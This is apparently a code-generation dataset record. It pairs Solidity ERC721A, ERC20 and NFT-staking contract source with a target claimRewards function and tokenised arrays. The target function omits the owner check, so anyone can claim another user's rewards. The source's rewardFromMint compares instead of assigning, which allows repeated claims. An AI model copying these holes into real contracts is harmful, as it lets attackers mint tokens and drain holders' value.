function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > currentIndex - 1) {
endIndex = currentIndex - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/base/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/base/ERC20.sol
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/Punkx.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
//@title A ERC20-token minting and ERC721 staking contract used for Punkx NFT series
//@author Ace, Alfa, Anyx, 0xytocin
//@notice This contract is used for staking Punkx NFT's and mint Degenz tokens according to the tokenomics mentioned in the whitepaper
//@dev All functions are currently working and having the exact value they should have. TESTS ARE YET TO BE DONE.
contract test0xytocin is ERC20, Ownable, ReentrancyGuard{
//@Interfaces
IERC721 Punkx;
//@Times
uint public punkXStart;
uint public lockoutTime = 10 minutes;
uint public dayRate = 5 minutes;
//@Rewards
mapping(uint=>bool) public mintRewardClaimed;
uint[] public rewards = [13,12,11,10];
uint[] public multiplier = [0,0,1,2,3,4,5];
mapping(uint=>uint) externallyClaimed;
mapping(address=>bool) isApproved;
//@Staking
mapping(uint=>stake) public stakedTokens;
mapping(address=>uint[]) public userStaked;
//@Emergency
bool public isPaused;
//@notice This is the struct containing the individual information regarding the tokens
struct stake{
address tokenOwner;
uint lockTime;
uint lastClaim;
uint stakeTime;
uint lockedPieces;
uint arrayPosition;
}
//@notice This takes in PUNKX NFT's contract address and also sets the start-time to block.timestamp
constructor(address punkxAddress) ERC20("Oxytocin", "OXY"){
Punkx = IERC721(punkxAddress);
punkXStart = block.timestamp;
}
//@notice SETTERS
function deleteRewards () external onlyOwner {
rewards.pop();
}
function deleteMultiplier () external onlyOwner {
multiplier.pop();
}
function addMultiplier (uint value) external onlyOwner {
multiplier.push(value);
}
function addRewards (uint value) external onlyOwner {
rewards.push(value);
}
function ownerMint (uint _amount) external onlyOwner {
_mint(msg.sender, _amount * 1 ether);
}
//@getter
function getStakedUserTokens(address _query) public view returns (uint[] memory){
return userStaked[_query];
}
//@modifiers
modifier isNotPaused(){
require(!isPaused,"Execution is paused");
_;
}
//@notice This function is used to stake tokens
//@param uint token-ids are taken in a array format
function stakeTokens (uint[] memory tokenIds,bool lock) external isNotPaused{
for (uint i=0;i<tokenIds.length;i++) {
require(Punkx.ownerOf(tokenIds[i]) == msg.sender,"Not Owner"); //Can't stake unowned tokens
stakedTokens[tokenIds[i]] = stake(msg.sender,0,block.timestamp,block.timestamp,0,userStaked[msg.sender].length);
userStaked[msg.sender].push(tokenIds[i]);
Punkx.safeTransferFrom(msg.sender,address(this),tokenIds[i]);
}
if(lock){
require (tokenIds.length > 1,'Min Lock Amount Is 2');
lockInternal(tokenIds);
}
}
//@notice This function is used to lock in the staked function.
//@param uint token-ids are taken in an array format. Here the minimum number of tokens passed should be 2.
function lockTokens(uint[] memory tokenIds) public isNotPaused{
require (tokenIds.length > 1,'Min Lock Amount Is 2');
claimRewards(tokenIds);
lockInternal(tokenIds);
}
function lockInternal(uint[] memory tokenIds) internal {
for(uint i=0;i<tokenIds.length;i++){
stake storage currentToken = stakedTokens[tokenIds[i]];
require(currentToken.tokenOwner == msg.sender,"Only owner can lock"); //Needs to be owner to lock
require(block.timestamp - currentToken.lockTime > lockoutTime,"Already locked"); //Need to not be locked to lock
currentToken.lockTime = currentToken.lastClaim;
tokenIds.length > 6 ? currentToken.lockedPieces = 6 : currentToken.lockedPieces = tokenIds.length ;
}
}
//@notice This function is used to unstake the staked tokens. PS: tokens which are locked cannot be unstaked within lockoutTime of locking period
//@param uint token-ids are taken in an array format.
function unstakeTokens(uint[] memory tokenIds) external isNotPaused{
claimRewards(tokenIds);
for (uint i; i< tokenIds.length; i++) {
require(Punkx.ownerOf(tokenIds[i]) == address(this),"Token not staked"); //Needs to not be staked
stake storage currentToken = stakedTokens[tokenIds[i]];
require(currentToken.tokenOwner == msg.sender,"Only owner can unstake"); //Needs to be sender's token
require(block.timestamp - currentToken.lockTime > lockoutTime,"Not unlocked"); //Needs to be unlocked
userStaked[msg.sender][currentToken.arrayPosition] = userStaked[msg.sender][userStaked[msg.sender].length-1];
stakedTokens[userStaked[msg.sender][currentToken.arrayPosition]].arrayPosition = currentToken.arrayPosition;
userStaked[msg.sender].pop();
delete stakedTokens[tokenIds[i]];
Punkx.safeTransferFrom(address(this), msg.sender, tokenIds[i]);
}
}
//@notice This function is used to reward those first 22 tokens which were minted before the staking contract was launched
//@param uint token-ids are taken in an array format
function rewardFromMint(uint[] memory tokenIds) external isNotPaused{
require(block.timestamp - punkXStart > 5 minutes, "It's not birthday yet");
uint totalAmount;
for(uint i=0;i<tokenIds.length;i++){
require(tokenIds[i] < 22,"Reward only till 22");
require (Punkx.ownerOf(tokenIds[i])==msg.sender || stakedTokens[tokenIds[i]].tokenOwner == _msgSender());
require(!mintRewardClaimed[tokenIds[i]],"Already Claimed");
mintRewardClaimed[tokenIds[i]] == true;
totalAmount += 29*rewards[0];
}
_mint(msg.sender,totalAmount*1 ether);
}
//@notice This function is used to reward those tokens who are staked over 1 day.
//@param uint token-ids are taken in an array format
function claimRewards(uint[] memory tokenIds) public nonReentrant isNotPaused{
uint totalAmount;
for(uint i=0;i<tokenIds.length;i++){
stake storage currentToken = stakedTokens[tokenIds[i]];
require(currentToken.tokenOwner == msg.sender,"Only owner can claim"); //Needs to be sender's token
totalAmount += getReward(tokenIds[i]);
delete externallyClaimed[tokenIds[i]];
currentToken.lastClaim += ((block.timestamp - currentToken.lastClaim)/ dayRate) * dayRate;
}
_mint(msg.sender,totalAmount);
}
//@notice This function is to be used by external contract to claim unclaimed rewards
//@param from user from which amount needs to be deducted
//@param amount which is to be deducted
function claimExternally(address from,uint amount,uint[] memory tokenIds) external isNotPaused{
require(isApproved[msg.sender],"Not approved caller");
uint totalAmount;
for(uint i=0;i<tokenIds.length;i++){
stake storage currentToken = stakedTokens[tokenIds[i]];
require(currentToken.tokenOwner == from,"Only owner can lock"); //Needs to be owner to lock
uint reward = getReward(tokenIds[i]);
if(amount > reward + totalAmount){
externallyClaimed[tokenIds[i]] = reward;
totalAmount += reward;
}
else{
externallyClaimed[tokenIds[i]] = amount - totalAmount;
totalAmount = amount;
break;
}
}
require(totalAmount == amount,"Not enough DEGEN");
_mint(msg.sender,amount);
}
//@notice This function is to be used to fetch the unclaimed amount value calculation
//@param uint token-id is taken
function getReward(uint tokenId) public view returns(uint){
require(Punkx.ownerOf(tokenId) == address(this),"Token not staked"); //Needs to not be staked
stake storage currentToken = stakedTokens[tokenId];
uint reward;
if(block.timestamp - currentToken.lockTime <= lockoutTime) {
//tokenId still in lock period
uint timeInDays = (block.timestamp - currentToken.lastClaim)/dayRate;
uint combo = currentToken.lockedPieces;
reward = 1 ether*timeInDays*rewards[tokenId/22]*(10+multiplier[combo])/10 - externallyClaimed[tokenId]; //Assuming tokenId starts from 1
}
else{
uint unlockTime = currentToken.lockTime + lockoutTime;
if(block.timestamp > unlockTime && currentToken.lastClaim < unlockTime){
//last claim before lock end but current time after
uint timeLocked = (currentToken.lockTime + lockoutTime - currentToken.lastClaim)/dayRate;
uint timeUnlocked = (block.timestamp - (currentToken.lockTime + lockoutTime))/dayRate;
uint combo = currentToken.lockedPieces;
reward = 1 ether*timeLocked*rewards[tokenId/22]*(10+multiplier[combo])/10;
reward += 1 ether*timeUnlocked*rewards[tokenId/22];
reward -= externallyClaimed[tokenId];
}
else{
//last claim time after lock period
uint timeInDays = (block.timestamp - currentToken.lastClaim)/dayRate;
reward = 1 ether*timeInDays*rewards[tokenId/22] - externallyClaimed[tokenId];
}
}
return reward;
}
function mintExternally(uint _amount) external isNotPaused{
require(isApproved[msg.sender], "Not approved yet");
_mint(_msgSender(), _amount);
}
function burnExternally(address _from, uint _amount) external isNotPaused{
require(isApproved[msg.sender], "Not approved yet");
_burn(_from, _amount);
}
function approveAddress(address toBeApproved,bool approveIt) external onlyOwner{
isApproved[toBeApproved] = approveIt;
}
function pauseExecution(bool pause) external onlyOwner{
isPaused = pause;
}
function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public pure returns (bytes4) {
return 0x150b7a02;
}
}
|
@notice This function is used to reward those tokens who are staked over 1 day.@param uint token-ids are taken in an array format
|
function claimRewards(uint[] memory tokenIds) public nonReentrant isNotPaused{
uint totalAmount;
for(uint i=0;i<tokenIds.length;i++){
stake storage currentToken = stakedTokens[tokenIds[i]];
totalAmount += getReward(tokenIds[i]);
delete externallyClaimed[tokenIds[i]];
currentToken.lastClaim += ((block.timestamp - currentToken.lastClaim)/ dayRate) * dayRate;
}
_mint(msg.sender,totalAmount);
}
| 6,293,576 |
[
1,
4625,
348,
7953,
560,
30,
632,
20392,
1220,
445,
353,
1399,
358,
19890,
5348,
2430,
10354,
854,
384,
9477,
1879,
404,
2548,
18,
36,
891,
2254,
1147,
17,
2232,
854,
9830,
316,
392,
526,
740,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
